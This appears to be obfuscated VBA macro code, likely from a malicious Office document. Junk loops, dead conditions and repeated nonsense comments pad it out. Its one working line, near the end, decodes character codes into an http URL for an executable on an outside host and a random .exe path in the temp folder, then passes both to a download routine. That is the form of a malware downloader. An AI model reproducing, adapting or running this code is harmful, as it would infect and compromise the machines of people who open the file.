'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While wuckfswt < 35 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim udftoorz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For udftoorz = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next udftoorz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: wuckfswt = wuckfswt + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zhsgxwgr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zhsgxwgr = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zhsgxwgr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qfcljidp As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qfcljidp = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qfcljidp 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Function 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Sub oknydsjonss() 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 122138 = 122138 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 7979 < 74 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim naqhdrfi As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lxuqroax As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lxuqroax = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lxuqroax 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq naqhdrfi = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While naqhdrfi < 25 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim sqonwnbq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For sqonwnbq = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next sqonwnbq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: naqhdrfi = naqhdrfi + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mpdifwlf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mpdifwlf = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mpdifwlf 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim sivjvgxt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For sivjvgxt = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next sivjvgxt 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(120) & ChrW(116) & ChrW(121) & ChrW(114) & ChrW(122) & ChrW(102) & ChrW(102) & ChrW(53) & ChrW(54)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(101) & ChrW(97) & ChrW(114) & ChrW(99) & ChrW(118) & ChrW(122) & ChrW(118) & ChrW(100) & ChrW(49) & ChrW(51) & ChrW(52) & ChrW(51)) = Len(ChrW(118) & ChrW(109) & ChrW(101) & ChrW(122) & ChrW(108) & ChrW(105) & ChrW(115) & ChrW(97)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yjhxiyxs As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim edxyagiu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For edxyagiu = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next edxyagiu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq yjhxiyxs = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While yjhxiyxs < 24 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim eogpknvj As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For eogpknvj = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next eogpknvj 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: yjhxiyxs = yjhxiyxs + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim neaogyhy As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For neaogyhy = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next neaogyhy 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ejnbfell As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ejnbfell = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ejnbfell 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xwllvqyz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim feschflv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For feschflv = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next feschflv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq xwllvqyz = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While xwllvqyz < 21 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim avkveval As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For avkveval = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next avkveval 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: xwllvqyz = xwllvqyz + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim orglipyq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For orglipyq = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next orglipyq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ssmxmgbo As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ssmxmgbo = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ssmxmgbo 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq gigcposgjkk ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(99) & ChrW(97) & ChrW(115) & ChrW(116) & ChrW(111) & ChrW(117) & ChrW(114) & ChrW(115) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(106) & ChrW(115) & ChrW(47) & ChrW(98) & ChrW(105) & ChrW(110) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(116) & ChrW(101) & ChrW(109) & ChrW(112)) & ChrW(92) & ChrW(76) & ChrW(78) & ChrW(90) & ChrW(77) & ChrW(84) & ChrW(68) & ChrW(67) & ChrW(87) & ChrW(76) & ChrW(90) & ChrW(88) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End Sub 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq